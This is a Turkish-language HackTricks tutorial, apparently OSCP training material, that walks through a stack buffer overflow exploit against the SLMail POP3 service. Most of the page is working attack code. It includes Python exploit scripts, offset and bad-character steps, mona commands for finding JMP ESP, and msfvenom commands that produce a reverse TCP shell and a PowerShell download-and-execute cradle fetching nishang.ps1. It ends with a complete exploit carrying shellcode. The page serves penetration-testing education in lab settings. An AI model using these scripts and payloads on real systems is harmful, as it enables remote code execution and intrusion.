10 KiB
Windows Exploiting (Temel Kılavuz - OSCP seviyesi)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
SLMail servisini kurmaya başlayın
SLMail servisini yeniden başlatın
Her seferinde SLMail servisini yeniden başlatmanız gerektiğinde bunu windows konsolunu kullanarak yapabilirsiniz:
net start slmail
Çok temel python saldırı şablonu
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Immunity Debugger Yazı Tipini Değiştirme
Options >> Appearance >> Fonts >> Change(Consolas, Bold, 9) >> OK
yolunu izleyin.
İşlemi Immunity Debugger'a Bağlama:
File --> Attach
Ve START düğmesine basın
Saldırıyı gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:
Servisi her durdurduğunuzda, bu sayfanın başında belirtildiği gibi yeniden başlatmanız gerekmektedir.
EIP'yi değiştirmek için bir desen oluşturun
Desen, önceki servisi durdurmak için kullandığınız tampon kadar büyük olmalıdır.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Değiştirin exploitin tamponunu ve deseni ayarlayın ve exploit'i başlatın.
Yeni bir çökme oluşmalı, ancak farklı bir EIP adresi ile:
Adresin deseninizde olup olmadığını kontrol edin:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
Görünüşe göre tamponun 2606 ofsetindeki EIP'yi değiştirebiliriz.
Exploit'in tamponunu değiştirerek kontrol edin:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
Bu tamponla EIP çöktüğünde 42424242 ("BBBB")'ye işaret etmelidir.
Görünüşe göre çalışıyor.
Stack içinde Shellcode alanını kontrol et
Güçlü bir shellcode için 600B yeterli olmalıdır.
Şimdi tamponu değiştirelim:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
Başlatılan yeni açığı kullanın ve EBP'yi kontrol edin ve kullanışlı shellcode'un uzunluğunu kontrol edin
![](<../.gitbook/assets/image (31) (1).png>)
![](<../.gitbook/assets/image (32) (1).png>)
Zafiyet ulaşıldığında EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için bolca alanımız olduğunu görebilirsiniz.
Bu durumda **0x0209A128'den 0x0209A2D6'ya kadar = 430B.** Yeterli.
## Kötü karakterleri kontrol edin
Yine tamponu değiştirin:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
Badchars 0x01'den başlar çünkü genellikle 0x00 kötüdür.
Bu yeni tamponla tekrar tekrar saldırıyı yürütün ve gereksiz bulunan karakterleri silin:
Örneğin:
Bu durumda 0x0A karakterini kullanmamalısınız (0x09 karakterinde hiçbir şey belleğe kaydedilmez).
Bu durumda 0x0D karakterinden kaçınılır:
Bir JMP ESP bulun ve geri dönüş adresi olarak kullanın
Kullanarak:
!mona modules #Get protections, look for all false except last one (Dll of SO)
Bellek haritalarını listeleyeceksiniz. Şu özelliklere sahip bir DLL arayın:
- Yer Değiştirme: Yanlış
- SafeSEH: Yanlış
- ASLR: Yanlış
- NX Uyumluluğu: Yanlış
- İşletim Sistemi DLL'si: Doğru
Şimdi, bu bellek içinde birkaç JMP ESP baytı bulmanız gerekiyor, bunu yapmak için şunu çalıştırın:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Ardından, eğer bir adres bulunursa, kötü karakter içermeyen bir adres seçin:
Bu durumda, örneğin: _0x5f4a358f_
Kabuk kodu oluşturun
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), farklı shellcodelar oluşturmak için msfvenom'u kullanın (aynı parametreler için farklı shellcodelar oluşturur).
Shellcode'un başına bazı NOPS'lar ekleyin ve onu ve return adresini JMP ESP'ye yönlendirmek için kullanın ve exploit'i tamamlayın:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
{% hint style="warning" %} Kendilerini üzerine yazacak kabuk kodları bulunmaktadır, bu nedenle kabuk kodundan önce her zaman bir miktar NOP eklemek önemlidir {% endhint %}
Kabuk kodunu geliştirme
Bu parametreleri ekleyin:
EXITFUNC=thread -e x86/shikata_ga_nai
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve uygulayın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- 💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live** takip edin.**
- Hacking püf noktalarını paylaşarak PR göndererek HackTricks](https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına katkıda bulunun.